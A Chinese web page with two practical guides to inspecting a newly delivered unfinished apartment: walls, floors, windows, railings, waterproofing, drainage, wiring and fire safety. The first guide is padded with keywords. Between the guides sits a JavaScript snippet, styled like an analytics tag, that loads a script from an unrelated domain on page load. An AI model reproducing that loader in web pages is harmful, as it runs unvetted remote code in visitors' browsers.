毛坯房验收要点 验房专业实务

验房是什么？验房专业实务简单来说就是全面检查的房屋的墙壁、天花板、地板、电气、水等项目。为什么要验房呢？验房是为了确保房屋交付合法，质量合格。保障业主权益，保证日后的居住安全。发现问题及时让开发商整改，同时也减少装修时因整改产生的增项收费。毛坯房验房专业实务要点1.入户门检查是否有划痕，施工时如果没有保护好，就会导致材料进场时划伤入户门。2.门框检查平整度是否合格，门的开关阻力是否过大，门框与墙间的缝隙是否填充耐候密封胶。3.窗户检查玻璃质量合格与否，如果设有排水洞，检查排水洞是否堵塞，轨道等开启方式是否流畅。4.阳台栏杆检查护栏高度是否达标，一般高层住宅的护栏高度在1100mm，栏杆垂直间距小于110mm。5.地面验房专业实务中现场要求平整度在正负5以内，如果不符合验房专业实务标准，可以要求在财产登记前免费维修。6.墙面首先是平整度检查，在最开始做验房专业实务的时候就要把墙面平整度测好。另外也要检测墙面是否空鼓，但是大家对墙面空鼓也不要太担心，一些小空鼓其实不用维修，属于水泥墙的正常现象。7.顶面首先检查抹灰。有些房子有非常明显的顶高差，一些黑心的开发商直接抹灰，做吊顶时候就很是麻烦。8.防水开发商一般都会做刚性防水或者卷材防水，在收房的时候把地漏堵上蓄水蓄个48小时然后跑到楼下去看有没有漏水就好了。9.排水在做验房专业实务的时候要对每一个地漏做通水测试，如果不通的话要马上整改。10.电器首相检查配电箱，检查是不是新的，曾经检查到过一些配电箱是直接从老的配电箱拆下来的，这就非常不厚道。另外也会用相位检测仪去检查开关插座是不是正常，弱点系统是不是正常，等等。11.消防首先检查管道是不是有阻火圈，阻火圈直径是不是满足要求，通气管是否能通到屋面上，如果是通到屋面上，那么也会检查通气管是否有阻火圈。很多时候业主不具备验房经验和验房专业实务知识，在房屋交付的时候就只看表象，没有深入理解房屋是否真的存在问题，只有通过验房专业实务，发现问题及时记录，给房子一个狠狠的体验，才能让业主住的更放心，更舒服。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新房如何验收？让专业监理教你！

新房到手，验收是很重要的一个环节，直接影响之后的居住和生活。但是新房要验收一些什么?怎样来验收?是很多人都不了解的一部分。下面小编就给大家介绍一些验收的知识，希望能够帮到大家哦!墙面验收1、检查墙面是否有开裂。2、检查墙面是否有空鼓，用小木锤或其他东西敲墙，敲到空鼓时发出的声音不实，很容易听出来。3、检查墙面的腻子，是否是防水腻子。可以带瓶矿泉水，往墙上泼水。然后用手去摸，看手上是否有泥浆，没有的话说明墙面的耐水腻子合格。天花板验收1、检查天花板是否有开裂。2、检查天花板和墙面的阴阳角线是否水平。假如不是水平，要在装修中要用粉刷石膏找低再用耐水腻子找平。地面验收1、检查地面是否平整。2、检查地面是否有反砂现象，检测反砂可以用脚搓地面时查看是否泛起沙粒。门窗验收1、检查门窗是否推拉顺滑，表面平整光洁，无划痕，没有开裂或断裂现象。2、门窗五金配件齐全，位置准确、牢固。3、门窗封闭时扇与框，扇与扇无显著缝隙，密封条不松动，不脱落。4、门窗框，扇垂直，不弯曲。5、玻璃无污染，无破损，双玻夹层无灰尘和水气，分隔条平均。6、查看窗户排水孔是否有打通，未打通会导致积水流入窗内。查电路1、检查每个电灯开关和电源插座是否可以正常使用。可以带个手机座充或电笔插上就知道否通电。查水路1、卫生间中一般情况是2个地漏、1个座便下水管、1个浴缸下水管、1个洗手盆的下水管，具体情况要根据自己装修的需要来决定。验管道1、管道是指排水管道，尤其是阳台之类的排水口。2、验收时，预先拿一个盛水的用具，然后倒水进排水口。看看水是不是迅速流干。